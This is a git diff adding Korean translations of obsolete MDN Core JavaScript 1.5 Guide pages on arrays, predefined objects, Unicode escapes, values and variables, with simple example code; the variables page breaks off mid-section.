+<h4 id=".EB.B0.B0.EC.97.B4.EC.97.90_.EC.9B.90.EC.86.8C_.EB.84.A3.EA.B8.B0" name=".EB.B0.B0.EC.97.B4.EC.97.90_.EC.9B.90.EC.86.8C_.EB.84.A3.EA.B8.B0">배열에 원소 넣기</h4>
+<p>원소에 값을 할당함으로써 배열에 값을 넣을 수 있습니다.</p>
+<pre>emp[1] = "Casey Jones"
+emp[2] = "Phil Lesh"
+emp[3] = "August West"
+</pre>
+<p>배열을 만들 때 값을 넣을 수도 있습니다.</p>
+<pre>myArray = new Array("Hello", myVar, 3.14159)
+</pre>
+<h4 id=".EB.B0.B0.EC.97.B4_.EC.9B.90.EC.86.8C_.EC.B0.B8.EC.A1.B0.ED.95.98.EA.B8.B0" name=".EB.B0.B0.EC.97.B4_.EC.9B.90.EC.86.8C_.EC.B0.B8.EC.A1.B0.ED.95.98.EA.B8.B0">배열 원소 참조하기</h4>
+<p>배열 원소의 순서를 나타내는 숫자로 원소를 참조할 수 있습니다. 예를 들어 다음과 같은 배열을 만들었다고 해봅시다.</p>
+<pre>myArray = new Array("Wind","Rain","Fire")
+</pre>
+<p>그러면 첫 번째 원소는 <code>myArray{{ mediawiki.external(0) }}</code>으로 참조할 수 있고, 두 번째 원소는 <code>myArray{{ mediawiki.external(1) }}</code>로 참조할 수 있습니다.</p>
+<p>원소의 색인은 영(0)부터 시작하지만 배열 길이(예를 들면 <code>myArray.length</code>)는 배열의 원소 개수를 나타냅니다.</p>
+<p> </p>
+<h4 id="Array_.EA.B0.9C.EC.B2.B4.EC.9D.98_.EB.A9.94.EC.86.8C.EB.93.9C" name="Array_.EA.B0.9C.EC.B2.B4.EC.9D.98_.EB.A9.94.EC.86.8C.EB.93.9C">Array 개체의 메소드</h4>
+<p><code>Array</code> 개체는 다음과 같은 메소드들을 가지고 있습니다.</p>
+<ul>
+ <li><code>concat</code> 메소드는 두 배열을 합쳐서 새 배열 하나를 반환합니다.</li>
+</ul>
+<pre>myArray = new Array("1","2","3")
+myArray = myArray.concat("a", "b", "c"); // myArray는 ["1", "2", "3", "a", "b", "c"]이 되었습니다.
+</pre>
+<ul>
+ <li><code>join(deliminator = ",")</code> 메소드는 배열의 모든 원소를 문자열로 바꿔서 하나의 문자열을 만들어줍니다.</li>
+</ul>
+<pre>myArray = new Array("Wind","Rain","Fire")
+list = myArray.join(" - "); // list는 "Wind - Rain - Fire"입니다.
+</pre>
+<ul>
+ <li><code>pop</code> 메소드는 배열의 마지막 원소를 배열에서 제거하고 그 원소를 반환합니다.</li>
+</ul>
+<pre>myArray = new Array("1", "2", "3");
+last=myArray.pop(); // MyArray는 ["1", "2"], last = "3"이 되었습니다.
+</pre>
+<ul>
+ <li><code>push</code> 메소드는 하나 또는 그 이상의 원소를 배열 끝에 추가하고, 추가된 마지막 원소를 반환합니다.</li>
+</ul>
+<pre>myArray = new Array("1", "2");
+myArray.push("3"); // MyArray는 ["1", "2", "3"]이 되었습니다.
+</pre>
+<ul>
+ <li><code>reverse</code> 메소드는 원소의 순서를 뒤집어서 첫 번째 원소가 마지막 원소가 되고, 마지막 원소가 첫 번째 원소가 되도록 합니다.</li>
+</ul>
+<pre>myArray = new Array ("1", "2", "3");
+myArray.reverse(); // myArray = [ "3", "2", "1" ]이 되었습니다.
+</pre>
+<ul>
+ <li><code>shift</code> 메소드는 첫 번째 요소를 배열에서 제거하고, 그 원소를 반환합니다.</li>
+</ul>
+<pre>myArray = new Array ("1", "2", "3");
+first=myArray.shift(); // MyArray는 ["2", "3"], first는 "1"이 되었습니다.
+</pre>
+<ul>
+ <li><code>slice (start_index, upto_index)</code> 메소드는 배열의 일부분을 추출하여 새 배열을 반환합니다.</li>
+</ul>
+<pre>myArray = new Array ("a", "b", "c", "d", "e");
+myArray = myArray.slice(1,4); //색인 1부터 색인 4 바로 앞까지의 원소를 추출해서 [ "b", "c", "d" ]를 반환합니다.
+</pre>
+<ul>
+ <li><code>splice(index, count_to_remove, addelement1, addelement2, ...)</code> 메소드는 배열에 원소를 추가하거나 배열에서 원소를 제거합니다.</li>
+</ul>
+<pre>myArray = new Array ("1", "2", "3", "4", "5");
+myArray.splice(1,3,"a","b","c", "d"); // MyArray는 ["1", "a", "b", "c", "d", "5"]가 되었습니다.
+// 이 코드는 색인 1(즉 "2")부터 원소 세 개를 제거하고, 그 자리에 원소를 추가합니다.
+</pre>
+<ul>
+ <li><code>sort</code> 메소드는 원소를 정렬합니다.</li>
+</ul>
+<pre>myArray = new Array("Wind","Rain","Fire")
+myArray.sort(); // 배열을 정렬했으므로 myArrray = [ "Fire", "Rain", "Wind" ]가 되었습니다.
+</pre>
+<p><code>sort</code> 메소드에 배열을 어떻게 정렬할지 결정하는 콜백 함수를 전해줄 수 있습니다. 그 함수는 두 값을 비교해서 다음 셋 중 하나를 반환해야 합니다.</p>
+<ul>
+ <li>정렬할 때 a가 b보다 작다면 -1(또는 임의의 음수)를 반환</li>
+ <li>정렬할 때 a가 b보다 크다면 1(또는 임의의 양수)를 반환</li>
+ <li>a와 b가 같으면 0을 반환</li>
+</ul>
+<p>예를 들어 다음 코드는 원소의 마지막 글자를 기준으로 배열을 정렬합니다.</p>
+<pre>var sortFn = function(a,b){
+ if (a[a.length - 1] &lt; b[b.length - 1]) return -1;
+ if (a[a.length - 1] &gt; b[b.length - 1]) return 1;
+ if (a[a.length - 1] == b[b.length - 1]) return 0;
+ }
+myArray.sort(sortFn); // 배열을 정렬했으므로 myArray = ["Wind","Fire","Rain"]가 되었습니다.
+</pre>
+<ul>
+ <li><code>unshift</code> 메소드는 하나 또는 그 이상의 원소를 배열 앞에 추가하고 배열의 새 길이를 반환합니다.</li>
+</ul>
+<h4 id="2.EC.B0.A8.EC.9B.90_.EB.B0.B0.EC.97.B4" name="2.EC.B0.A8.EC.9B.90_.EB.B0.B0.EC.97.B4">2차원 배열</h4>
+<p>다음 코드는 2차원 배열을 만듭니다.</p>
+<pre>a = new Array(4)
+for (i=0; i &lt; 4; i++) {
+ a[i] = new Array(4)
+ for (j=0; j &lt; 4; j++) {
+ a[i][j] = "["+i+","+j+"]"
+ }
+}
+</pre>
+<p>바로 위 코드는 이런 배열을 만들어냅니다.</p>
+<pre>Row 0:[0,0][0,1][0,2][0,3]
+Row 1:[1,0][1,1][1,2][1,3]
+Row 2:[2,0][2,1][2,2][2,3]
+Row 3:[3,0][3,1][3,2][3,3]
+</pre>
+<h4 id=".EB.B0.B0.EC.97.B4.EA.B3.BC_.EC.A0.95.EA.B7.9C_.ED.91.9C.ED.98.84.EC.8B.9D" name=".EB.B0.B0.EC.97.B4.EA.B3.BC_.EC.A0.95.EA.B7.9C_.ED.91.9C.ED.98.84.EC.8B.9D">배열과 정규 표현식</h4>
+<p>배열이 정규 표현식과 문자열을 매치한 결과로 생성되었을 때, 그 배열은 매치에 대한 정보를 제공하는 속성과 원소를 포함하고 있습니다. <code>RegExp.exec</code>, <code>String.match</code>, <code>String.split</code>의 반환 값은 배열입니다. 정규 표현식과 관련된 배열 사용에 대한 정보를 얻으려면 4장 <a href="ko/Core_JavaScript_1.5_Guide#.EC.A0.95.EA.B7.9C_.ED.91.9C.ED.98.84.EC.8B.9D">정규 표현식</a>을 보십시오.</p>
+<p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Predefined_Core_Objects", "Core_JavaScript_1.5_Guide:Predefined_Core_Objects:Boolean_Object") }}</p>
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/predefined_core_objects/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/predefined_core_objects/index.html
new file mode 100644
index 0000000000..9306e0ea94
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/predefined_core_objects/index.html
@@ -0,0 +1,20 @@
+---
+title: Predefined Core Objects
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Predefined_Core_Objects
+translation_of: Web/JavaScript/Guide
+---
+<h3 id=".EB.AF.B8.EB.A6.AC_.EC.A0.95.EC.9D.98.EB.90.9C_.EA.B8.B0.EB.B3.B8_.EA.B0.9C.EC.B2.B4" name=".EB.AF.B8.EB.A6.AC_.EC.A0.95.EC.9D.98.EB.90.9C_.EA.B8.B0.EB.B3.B8_.EA.B0.9C.EC.B2.B4"> 미리 정의된 기본 개체 </h3>
+<p>이 절에서는 기본 JavaScrip에 미리 정의된 개체에 대해서 설명하겠습니다.
+</p>
+<ul><li> <a href="ko/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/Array_Object">Array 개체</a>
+</li><li> <a href="ko/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/Boolean_Object">Boolean 개체</a>
+</li><li> <a href="ko/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/Date_Object">Date 개체</a>
+</li><li> <a href="ko/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/Function_Object">Function 개체</a>
+</li><li> <a href="ko/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/Math_Object">Math 개체</a>
+</li><li> <a href="ko/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/Number_Object">Number 개체</a>
+</li><li> <a href="ko/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/RegExp_Object">RegExp 개체</a>
+</li><li> <a href="ko/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/String_Object">String 개체</a>
+</li></ul>
+<p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Creating_New_Objects:Deleting_Properties", "Core_JavaScript_1.5_Guide:Predefined_Core_Objects:Array_Object") }}
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Predefined_Core_Objects", "fr": "fr/Guide_JavaScript_1.5/Objets_pr\u00e9d\u00e9finis", "ja": "ja/Core_JavaScript_1.5_Guide/Predefined_Core_Objects", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Obiekty_predefiniowane" } ) }}
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/unicode/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/unicode/index.html
new file mode 100644
index 0000000000..562b7a53a0
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/unicode/index.html
@@ -0,0 +1,109 @@
+---
+title: Unicode
+slug: Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Unicode
+translation_of: Web/JavaScript/Guide/Grammar_and_types
+---
+<h3 id=".EC.9C.A0.EB.8B.88.EC.BD.94.EB.93.9C" name=".EC.9C.A0.EB.8B.88.EC.BD.94.EB.93.9C"> 유니코드 </h3>
+<p>유니코드는 세계의 주요한 문자 언어를 교환하고 표현하기 위한 문자-코딩 표준입니다. 유니코드는 아메리카, 유럽, 중동, 아프리카, 인도, 아시아, 태평양 지역(Pacifica)의 언어를 포함하며 고문자와 기술 분야 기호들도 포함합니다. 유니코드는 공통적인 기술 분야, 수학 분야 기호 뿐만 아니라 여러 언어를 포함한 텍스트의 교환, 처리, 표현을 지원합니다. 유니코드는 나라마다 서로 다른 문자 표준으로 인해서 여러 언어를 포함했을 때 발생하는 국제화 문제를 해결할 수 있기를 희망합니다. 하지만 아직은 모든 현대 문자, 고대 문자를 지원하지는 못합니다.
+</p><p>유니코드 문자 집합은 알려진 모든 인코딩을 위해 사용될 수 있습니다. 유니코드는 ASCII (American Standard Code for Information Interchange, 정보 교환을 위한 미국 표준 코드) 문자 집합을 본떠 만들어졌습니다. 각각의 문자에 숫자와 이름을 부여한 것입니다. 문자 인코딩은 문자의 정체성(identity)과 숫자 값(코드 위치)와 함께 숫자 값의 비트 표현을 명시합니다. 16비트 숫자 값(코드 값)은 U+0041처럼 접두어 U뒤에 16진수를 붙여서 표시합니다. 이 값의 유일한 이름은 LATIN CAPITAL LETTER A입니다.
+</p><p><b>JavaScript 1.3 이전 버전은 유니코드를 지원하지 않습니다.</b>
+</p>
+<h4 id=".EC.9C.A0.EB.8B.88.EC.BD.94.EB.93.9C.EC.99.80_ASCII_.EB.B0.8F_ISO_.EC.82.AC.EC.9D.B4.EC.9D.98_.ED.98.B8.ED.99.98.EC.84.B1" name=".EC.9C.A0.EB.8B.88.EC.BD.94.EB.93.9C.EC.99.80_ASCII_.EB.B0.8F_ISO_.EC.82.AC.EC.9D.B4.EC.9D.98_.ED.98.B8.ED.99.98.EC.84.B1"> 유니코드와 ASCII 및 ISO 사이의 호환성 </h4>
+<p>유니코드는 ISO 10646의 부분집합인 국제 표준 ISO/IEC 10646-1; 1993과 완벽하게 호환됩니다.
+</p><p>몇몇 인코딩 표준(UTF-8, UTF-16, ISO UCS-2를 포함하는)들이 실제 비트 값으로 유니코드를 표현하기 위해 사용됩니다.
+</p><p>UTF-8 인코딩은 ASCII 문자와 호환되며 많은 프로그램이 UTF-8을 지원합니다. 앞쪽 128개의 유니코드 문자는 ASCII 문자에 대응되며 같은 바이트 값을 가지고 있습니다. U+0020부터 U+007E 까지의 유니코드 문자는 ASCII 문자 0x20 부터 0x7E 까지와 동일합니다. 라틴 알파벳을 지원하고 7비트 문자 집합을 사용하는 ASCII와는 달리, UTF-8은 한 문자를 위해서 한 개부터 네 개 사이의 8진수(octet)를 사용합니다. ("8진수"는 바이트 또는 8비트를 의미합니다.) 이 방법으로 수백만개의 문자를 표현할 수 있습니다. 다른 인코딩 표준인 UTF-16은 유니코드 문자를 표현하기 위해 2바이트를 사용합니다. 이스케이프 시퀀스를 이용하여 UTF-16은 4바이트를 써서 모든 유니코드 범위를 표현합니다. ISO UCS-2 (Universal Character Set, 세계 문자 집합)은 2바이트를 사용합니다.
+</p><p>JavaScript와 Navigator가 UTF-8/유니코드를 지원한다는 것은 우리가 비 라틴 문자와 국제화되고 지역화된 문자에다 특수한 기술 분야 기호까지 JavaScript 프로그램에 쓸 수 있다는 것을 의미합니다. 유니코드는 여러 언어를 포함한 텍스트를 인코딩할 수 있는 표준적인 방법을 제공합니다. UTF-8 인코딩이 ASCII와 호환되기 때문에, ASCII 문자를 프로그램에 사용할 수 있습니다. 우리는 JavaScript의 주석, 문자열 리터럴, 식별자(identifier), 정규 표현식에 비 ASCII 유니코드 문자를 쓸 수 있습니다.
+</p>
+<h4 id=".EC.9C.A0.EB.8B.88.EC.BD.94.EB.93.9C_.EC.9D.B4.EC.8A.A4.EC.BC.80.EC.9D.B4.ED.94.84_.EC.8B.9C.ED.80.80.EC.8A.A4" name=".EC.9C.A0.EB.8B.88.EC.BD.94.EB.93.9C_.EC.9D.B4.EC.8A.A4.EC.BC.80.EC.9D.B4.ED.94.84_.EC.8B.9C.ED.80.80.EC.8A.A4"> 유니코드 이스케이프 시퀀스 </h4>
+<p>우리는 문자열 리터럴, 정규 표현식, 식별자에 유니코드 이스케이프 시퀀스를 사용할 수 있습니다. 이스케이프 시퀀스는 ASCII 문자 여섯 개로 이루어지는데, \u 뒤에 16진수를 표현하는 숫자 네 개가 붙은 모양입니다. 예를 들어 \u00A9는 저작권 기호를 나타냅니다. JavaScript에서 모든 유니코드 이스케이프 시퀀스는 문자 한 개로 인식됩니다.
+</p><p>다음의 코드는 저작권 문자와 "Netscape Communications"라는 문자열을 반환합니다.
+</p>
+<pre>x="\u00A9 Netscape Communications"</pre>
+<p>다음의 표는 자주 사용되는 특수 문자의 유니코드 값을 모은 것입니다.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<th>분류</th>
+<th>유니코드 값</th>
+<th>이름</th>
+<th>형식화된 이름(Format name)</th>
+</tr>
+<tr>
+<td>공백 문자</td>
+<td>\u0009</td>
+<td>Tab</td>
+<td>&lt;TAB&gt;</td>
+</tr>
+<tr>
+<td> </td>
+<td>\u000B</td>
+<td>Vertical Tab</td>
+<td>&lt;VT&gt;</td>
+</tr>
+<tr>
+<td> </td>
+<td>\u000C</td>
+<td>Form Feed</td>
+<td>&lt;FF&gt;</td>
+</tr>
+<tr>
+<td> </td>
+<td>\u0020</td>
+<td>Space</td>
+<td>&lt;SP&gt;</td>
+</tr>
+<tr>
+<td>줄 끝 문자</td>
+<td>\u000A</td>
+<td>Line Feed</td>
+<td>&lt;LF&gt;</td>
+</tr>
+<tr>
+<td> </td>
+<td>\u000D</td>
+<td>Carriage Return</td>
+<td>&lt;CR&gt;</td>
+</tr>
+<tr>
+<td>그 외 유니코드 이스케이프 시퀀스</td>
+<td>\u0008</td>
+<td>Backspace</td>
+<td>&lt;BS&gt;</td>
+</tr>
+<tr>
+<td> </td>
+<td>\u0009</td>
+<td>Horizontal Tab</td>
+<td>&lt;HT&gt;</td>
+</tr>
+<tr>
+<td> </td>
+<td>\u0022</td>
+<td>Double Quote</td>
+<td>"</td>
+</tr>
+<tr>
+<td> </td>
+<td>\u0027</td>
+<td>Single Quote</td>
+<td>'</td>
+</tr>
+<tr>
+<td> </td>
+<td>\u005C</td> <td>Backslash</td>
+<td>\</td>
+</tr>
+</tbody></table>
+<p><small><b>표 2.2: 특수 문자의 유니코드 값</b></small>
+</p><p>JavaScript에서 유니코드 이스케이프 시퀀스는 Java와 다릅니다. JavaScript에서, 이스케이프 시퀀스가 특수 문자로 먼저 해석되지 않습니다. 예를 들어, 줄 끝 이스케이프 시퀀스가 문자열에 포함되어 있어도 함수에 의해 해석되기 전까지는 문자열을 자르지 않습니다. 주석에 포함된 이스케이프 시퀀스는 모두 무시됩니다. Java에서는 한 줄 주석에 이스케이프 시퀀스가 있으면 유니코드 문자로 해석됩니다. 문자열 리터럴에서 Java 컴파일러는 이스케이프 시퀀스를 먼저 해석합니다. 예를 들어 줄 끝 이스케이프 문자(즉 \u000A)가 Java에서 사용되면 문자열 리터럴을 끝나게 합니다. Java에서는 줄 끝 문자가 문자열 리터럴에 포함될 수 없으므로, 에러가 발생합니다. 문자열 리터럴에 개행 문자를 넣으려면 반드시 \n을 사용해야 합니다. JavaScript에서 이스케이프 시퀀스는 \n과 같은 방식으로 동작합니다.
+</p>
+<div class="note">참고: 긴 문자열을 변환하는 웹 프로그램 <a class="external" href="http://www.hot-tips.co.uk/useful/unicode_converter.HTML">Hot-Tips' Unicode Converter</a>, by Bob Foley.</div>
+<h4 id="JavaScript_.ED.8C.8C.EC.9D.BC.EC.97.90.EC.84.9C_.EC.9C.A0.EB.8B.88.EC.BD.94.EB.93.9C_.EB.AC.B8.EC.9E.90" name="JavaScript_.ED.8C.8C.EC.9D.BC.EC.97.90.EC.84.9C_.EC.9C.A0.EB.8B.88.EC.BD.94.EB.93.9C_.EB.AC.B8.EC.9E.90"> JavaScript 파일에서 유니코드 문자 </h4>
+<p>초기 버전의 <a href="ko/Gecko">Gecko</a>는 XUL에서 로드되는 JavaScript 파일의 인코딩이 Latin-1일 것이라고 가정했습니다. Gecko 1.8부터는 XUL 파일의 인코딩으로 부터 JavaScript 파일의 인코딩을 유추하도록 변경되었습니다. 더 많은 정보는 <a href="ko/International_characters_in_XUL_JavaScript">International characters in XUL JavaScript</a> 페이지를 참고하시기 바랍니다.
+</p>
+<h4 id=".EC.9C.A0.EB.8B.88.EC.BD.94.EB.93.9C.EB.A1.9C_.EB.AC.B8.EC.9E.90_.ED.91.9C.EC.8B.9C.ED.95.98.EA.B8.B0" name=".EC.9C.A0.EB.8B.88.EC.BD.94.EB.93.9C.EB.A1.9C_.EB.AC.B8.EC.9E.90_.ED.91.9C.EC.8B.9C.ED.95.98.EA.B8.B0"> 유니코드로 문자 표시하기 </h4>
+<p>우리는 다른 언어나 기술 분야 기호를 표시하기 위해서 유니코드를 사용할 수 있습니다. 문자를 제대로 표시하기 위해서는 Mozilla Firefox나 Netscape 같은 클라이언트가 유니코드를 지원해야 합니다. 게다가 클라이언트에서 사용할 수 있는 적절한 유니코드 글꼴이 필요하고, 클라이언트 플랫폼이 유니코드를 지원해야 합니다. 종종 유니코드 글꼴이 모든 유니코드 문자를 표시하지 못하는 경우가 있습니다. Windows 95 같은 몇몇 플랫폼은 유니코드를 부분적으로만 지원합니다.
+</p><p>비 ASCII 문자 입력을 받기 위해서는 클라이언트가 유니코드로 입력을 보내야 합니다. 표준 확장 키보드(standard enhanced keyborad)를 사용하면 클라이언트에서 유니코드가 지원하는 추가적인 문자를 쉽게 입력할 수 없습니다. 때때로 유니코드 문자를 입력하려면 유니코드 이스케이프를 사용하는 방법 밖에 없을 때도 있습니다.
+</p><p>유니코드에 대한 더 많은 정보를 얻으려면 <a class="external" href="http://www.unicode.org/">유니코드 홈페이지</a>나 The Unicode Standard, Version 2.0, published by Addison-Wesley, 1996 를 보시기 바랍니다.
+</p><p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Literals", "Core_JavaScript_1.5_Guide:Expressions") }}
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Unicode", "fr": "fr/Guide_JavaScript_1.5/Unicode", "ja": "ja/Core_JavaScript_1.5_Guide/Unicode", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Unicode" } ) }}
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/values/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/values/index.html
new file mode 100644
index 0000000000..8fcd0070e9
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/values/index.html
@@ -0,0 +1,39 @@
+---
+title: Values
+slug: Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Values
+translation_of: Web/JavaScript/Guide/Grammar_and_types
+---
+<h3 id=".EA.B0.92" name=".EA.B0.92"> 값 </h3>
+<p>JavaScript는 다음과 같은 값 형식을 인식합니다.
+</p>
+<ul><li> <a href="ko/Core_JavaScript_1.5_Reference/Global_Objects/Number">수</a>, 42나 3.14159
+</li><li> <a href="ko/Core_JavaScript_1.5_Reference/Global_Objects/Boolean">논리적(불리언)</a> 값, <code>true</code>와 <code>false</code>
+</li><li> <a href="ko/Core_JavaScript_1.5_Reference/Global_Objects/String">문자열</a>, "안녕!"
+</li><li> <code>null</code>, null 값을 나타내는 특별한 키워드. <code>null</code>은 또한 기본(primitive) 값이기도 합니다. JavaScript는 대소문자를 구분하므로, <code>null</code>은 <code>Null</code>이나 <code>NULL</code>과는 다릅니다.
+</li><li> <code><a href="ko/Core_JavaScript_1.5_Reference/Global_Properties/undefined">undefined</a></code>, 값이 정의되지 않은 최상위 속성. <code>undefined</code>도 기본(primitive) 값입니다.
+</li></ul>
+<p>이렇게 조금 적어보이는 값 형식 또는 "자료형"이지만 훌륭한 기능을 작성할 수 있습니다. 정수와 실수 사이에 엄격한 구분은 없습니다. JavaScript에는 명시적인 날짜 자료형은 없습니다. 하지만 <code><a href="ko/Core_JavaScript_1.5_Reference/Global_Objects/Date">Date</a></code> 개체를 이용하면 됩니다.
+<a href="ko/Core_JavaScript_1.5_Reference/Global_Objects/Object">Object</a>와 <a href="ko/Core_JavaScript_1.5_Reference/Global_Objects/Function">함수</a>는 언어의 또다른 기초 요소입니다. 개체는 값을 포함할 수 있는 이름 붙은 어떤 것이라고 생각하면 되고, 함수는 프로그램이 수행할 수 있는 실행 절차라고 생각하면 됩니다.
+</p>
+<h4 id=".EC.9E.90.EB.A3.8C.ED.98.95_.EB.B3.80.ED.99.98" name=".EC.9E.90.EB.A3.8C.ED.98.95_.EB.B3.80.ED.99.98"> 자료형 변환 </h4>
+<p>JavaScript는 동적 타입 언어입니다. 이 말은 변수를 선언할 때 타입을 지정하지 않아도 되고, 스크립트 실행중에 필요에 따라 자동으로 자료형이 바뀐다는 말입니다. 예를 들어 다음과 같이 변수를 선언할 수 있습니다.
+</p>
+<pre class="eval">var answer = 42
+</pre>
+<p>그 후에 이 변수에 문자열 값을 할당할 수 있습니다.
+</p>
+<pre class="eval">answer = "Thanks for all the fish..."
+</pre>
+<p>JavaScript는 동적 타입 언어이기 때문에, 이렇게 대입하더라도 에러를 내지 않습니다.
+</p><p>숫자와 문자열 값을 + 연산자로 계산하는 표현식에서, JavaScript는 숫자를 문자열로 변환합니다. 예를 들어 다음과 같은 문장을 생각해봅시다.
+</p>
+<pre class="eval">x = "The answer is " + 42 // returns "The answer is 42"
+y = 42 + " is the answer" // returns "42 is the answer"
+</pre>
+<p>다른 연산자를 사용하는 문장에서는 숫자를 문자열로 변환하지 않습니다.
+</p>
+<pre class="eval">"37" - 7 // returns 30
+"37" + 7 // returns "377"
+</pre>
+<p>{{ PreviousNext("Core_JavaScript_1.5_Guide:JavaScript_Overview", "Core_JavaScript_1.5_Guide:Variables") }}
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Values", "fr": "fr/Guide_JavaScript_1.5/Valeurs", "ja": "ja/Core_JavaScript_1.5_Guide/Values", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Warto\u015bci" } ) }}
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new file mode 100644
index 0000000000..f31c37bc9c
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/variables/index.html
@@ -0,0 +1,64 @@
+---
+title: Variables
+slug: Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Variables
+translation_of: Web/JavaScript/Guide/Grammar_and_types
+---
+<h3 id=".EB.B3.80.EC.88.98" name=".EB.B3.80.EC.88.98"> 변수 </h3>
+<p>우리는 프로그램 내에서 값에 이름을 부여하기 위해서 변수를 사용할 수 있습니다. 변수의 이름은 "식별자(identifier)"라고 불리며, 몇 가지 규칙을 따라야 합니다.
+</p><p>JavaScript 의 식별자는 문자(letter)나 밑줄(_)이나 달러 기호($)로 시작해야 합니다. 그 뒤에는 숫자(0-9)도 올 수 있습니다. JavaScript는 대소문자를 구별하기 때문에, 문자는 대문자 "A"부터 "Z"까지와 소문자 "a"부터 "z"까지를 사용할 수 있습니다.
+</p><p>JavaScript 1.5부터, 식별자에 å나 ü같은 ISO 8859-1이나 유니코드 문자를 사용할 수 있습니다. 또한 <a href="ko/Core_JavaScript_1.5_Guide/Unicode#.EC.9C.A0.EB.8B.88.EC.BD.94.EB.93.9C_.EC.9D.B4.EC.8A.A4.EC.BC.80.EC.9D.B4.ED.94.84_.EC.8B.9C.ED.80.80.EC.8A.A4">유니코드 이스케이프 시퀀스</a> 페이지에 나열된 \uXXXX 형식 유니코드 이스케이프 시퀀스를 식별자에 쓸 수도 있습니다.
+</p><p>규칙에 맞는 이름 몇 가지는 이런 것입니다. <code>Number_hits</code>, <code>temp99</code>, <code>_name</code>.
+</p>
+<h4 id=".EB.B3.80.EC.88.98_.EC.84.A0.EC.96.B8" name=".EB.B3.80.EC.88.98_.EC.84.A0.EC.96.B8"> 변수 선언 </h4>
+<p>변수를 선언하는 방법에는 두 가지가 있습니다.
+</p>
+<ul><li> <a href="ko/Core_JavaScript_1.5_Reference/Statements/var">var</a> 키워드를 이용하는 방법. 예를 들면 <code>var x = 42</code> 같은 식입니다. 이 문법은 <a href="#.EB.B3.80.EC.88.98_.EB.B2.94.EC.9C.84">지역, 전역</a> 변수를 선언하는데 모두 사용할 수 있습니다.
+</li><li> 그냥 값을 대입하는 방법. <code>x = 42</code> 같은 식입니다. 이 방법은 항상 <a href="#.EC.A0.84.EC.97.AD_.EB.B3.80.EC.88.98">전역 변수</a>를 선언하고, strict JavaScript 경고를 냅니다. 이 방법은 절대 사용하지 맙시다.
+</li></ul>
+<h4 id=".EB.B3.80.EC.88.98.EB.A5.BC_.ED.8F.89.EA.B0.80.ED.95.98.EA.B8.B0.28Evaluating.29" name=".EB.B3.80.EC.88.98.EB.A5.BC_.ED.8F.89.EA.B0.80.ED.95.98.EA.B8.B0.28Evaluating.29"> 변수를 평가하기(Evaluating) </h4>
+<p>초기값을 지정하지 않고 <code>var</code> 문장을 이용해서 선언한 변수는 <a href="ko/Core_JavaScript_1.5_Reference/Global_Properties/undefined">undefined</a>라는 값을 갖습니다.
+</p><p>선언하지 않은 변수에 접근하려고 하면 ReferenceError 예외가 발생합니다.
+</p>
+<pre class="eval">var a;
+print("The value of a is " + a); // prints "The value of a is undefined"
+print("The value of b is " + b); // throws ReferenceError exception
+</pre>
+<p>변수가 값을 갖고 있는지 결정하기 위해서 <code>undefined</code>를 사용할 수 있습니다. 다음 코드에서 <code>input</code>에는 값을 할당하지 않아서 <code><a href="ko/Core_JavaScript_1.5_Reference/Statements/if...else">if</a></code>문은 <code>true</code>로 평가됩니다.
+</p>
+<pre>var input;
+if(input === undefined){
+ doThis();
+} else {
+ doThat();
+}</pre>
+<p><span class="comment">Not sure how the following is related to "Variables" section</span>
+<code>undefined</code>값을 참/거짓을 판별하는 구문에 쓰면 <code>false</code>로 평가됩니다. 예를 들어 다음 코드에서는 <code>myArray</code>의 원소가 정의되지 않았기 때문에 <code>myFunction</code> 함수가 실행됩니다.
+</p>
+<pre>myArray=new Array()
+if (!myArray[0])
+ myFunction();</pre>
+<p>숫자가 필요한 문맥에서 null 변수를 평가하면 null 값은 0으로 평가되고, 참/거짓이 필요한 문맥에서는 false로 평가됩니다.
+When you evaluate a null variable, the null value behaves as 0 in numeric contexts and as false in boolean contexts. For example:
+</p>
+<pre>var n = null;
+n * 32; //0을 반환합니다</pre>
+<h4 id=".EB.B3.80.EC.88.98_.EB.B2.94.EC.9C.84" name=".EB.B3.80.EC.88.98_.EB.B2.94.EC.9C.84"> 변수 범위 </h4>
+<p>함 수 외부에서 선언한 변수는 "전역(global)" 변수라고 부릅니다. 그 변수는 현재 문서의 모든 코드에서 접근할 수 있기 때문입니다. 함수 안에서 선언한 변수는 "지역(local)" 변수라고 부릅니다. 그 변수는 함수 안에서만 접근할 수 있기 때문입니다.
